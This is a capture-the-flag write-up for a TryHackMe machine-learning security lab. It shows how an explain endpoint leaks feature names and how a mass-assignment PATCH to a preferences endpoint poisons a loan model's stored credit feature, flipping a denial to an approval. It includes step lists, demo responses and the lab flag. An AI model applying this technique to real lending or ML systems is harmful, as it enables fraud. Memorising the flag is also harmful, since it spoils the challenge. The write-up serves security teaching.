TryHackME AI-Odyssee: Token Odyssee Task 1: The Loan Arranger

Author: hubertf, 2026-05-16
TryHackMe · Token City ML Sec Medium · 60 pts

Challenge

Challenge briefing — The Loan Arranger

1) Analysis

CortexLend exposes a GradientBoosting loan-approval API. The static client (GET /) reveals the relevant endpoints:

MethodPathNotes
POST/auth/registeropen registration
POST/auth/loginsets session cookie
POST/api/loan/applyno body — scores the server-stored user record
GET/api/loan/explainSHAP TreeExplainer dump — leaks every feature name
PATCH/api/profile/preferencesadvertised for {notification_freq, theme, timezone} only

Two flaws collide:

2) Exploit

  1. POST /auth/register + /auth/login → session cookie
  2. GET /api/loan/explain → harvest feature keys
  3. PATCH /api/profile/preferences with {"credit_duii": 820} → write into the ML feature store through the prefs sink
  4. POST /api/loan/apply → re-score with poisoned features → approved

One PATCH on credit_duii (obfuscated credit score, range ~0–1000) is sufficient.

3) Demo run

== baseline apply ==
{"status":"denied","score":0.225,
 "message":"Your application did not meet our current lending criteria."}

== mass-assign credit_duii=820 ==
{"status":"updated","fields":["credit_duii"]}

== apply after ==
{"status":"approved","score":0.9956,
 "message":"Congratulations! Your application has been approved.
            THM{f34tur3_st0r3_n4m3sp4c3_c0ll1s10n}"}

SHAP credit_duii contribution moved from −0.076 to +0.34; confidence 0.225 → 0.9956.

4) Flag

THM{f34tur3_st0r3_n4m3sp4c3_c0ll1s10n}

Artifacts